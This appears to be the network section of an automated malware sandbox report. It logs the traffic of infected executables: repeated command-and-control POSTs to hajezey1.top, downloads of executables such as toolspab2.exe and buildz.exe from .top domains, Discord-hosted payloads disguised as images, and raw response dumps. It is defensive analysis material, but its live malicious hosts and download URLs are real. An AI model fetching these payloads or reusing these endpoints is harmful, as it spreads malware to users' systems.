Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bcetl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: hajezey1.top
Source: global traffic HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mmcpy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://sligutw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://himphbmiy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://novmckj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rqwpp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ididar.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yyffq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cfbujstw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jphqlbmv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 280Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lujywddys.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hftuogn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nyuewxm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://kgvsspvx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://juvrqxnox.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dobetow.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://lnyvqfkgv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bxkmjut.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tgcck.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 122Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://kuovgrmce.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://plfxbxgdp.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rqvduguyi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cyujuvo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jvdvsbpg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tattj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hfyjvhbtyy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mjoranodkb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nxvrsy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ghvmfthgu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: hajezey1.top
Source: global traffic HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://oyggwg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 213Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dvoowi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ifglnhprd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://oxvluliqe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cndlfysvgu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://omxgygy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 274Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://swqgaatpa.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hgeeej.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nnnix.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fbwxingfx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uqnilqvafj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://uxxij.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mfupni.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: hajezey1.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mdmxj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: 193.56.146.214
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mkuggmqtkl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: 193.56.146.214
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fanpfs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 264Host: 193.56.146.214
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ertjun.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: 193.56.146.214
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hxkblthegf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 256Host: 193.56.146.214
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://mhnxbctxee.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: 193.56.146.214
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nusurtal4f.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 140Host: nusurtal4f.net
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://htsentk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 203Host: 193.56.146.214
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.3:49844 -> 93.115.20.139:28978
Source: B4BD.exe String found in binary or memory: http://fontello.com
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 69D3.exe, 00000024.00000003.511301057.0000000002EBB000.00000004.00000001.sdmp String found in binary or memory: http://telegalive.top/
Source: 69D3.exe, 00000024.00000003.511301057.0000000002EBB000.00000004.00000001.sdmp String found in binary or memory: http://telegalive.top/ah
Source: 4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: dfsvc.exe, 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, DataSvcUtil.exe, 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, AddInUtil.exe, 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, 4F44.exe, 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp String found in binary or memory: https://api.ip.sb/ip
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com
Source: B4BD.exe String found in binary or memory: https://cdn.discordapp.com/attachments/8
Source: 4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D0D3.jpg
Source: 4F44.exe, 00000028.00000000.498089312.00000000003F2000.00000002.00020000.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/902526117016109056/AB0F9338.jpg
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg
Source: B4BD.exe, 00000018.00000002.526101885.00000000031E1000.00000004.00000001.sdmp String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg
Source: unknown DNS traffic detected: queries for: xacokuo8.top
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_004070B4 HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 35_2_004070B4
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/903702020781907998/4D0A6361.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com
Source: global traffic HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/67689860df0c3d84c593b744292fd16b236de234 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 91.219.236.97
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49886 -> 443
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f0 1c b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
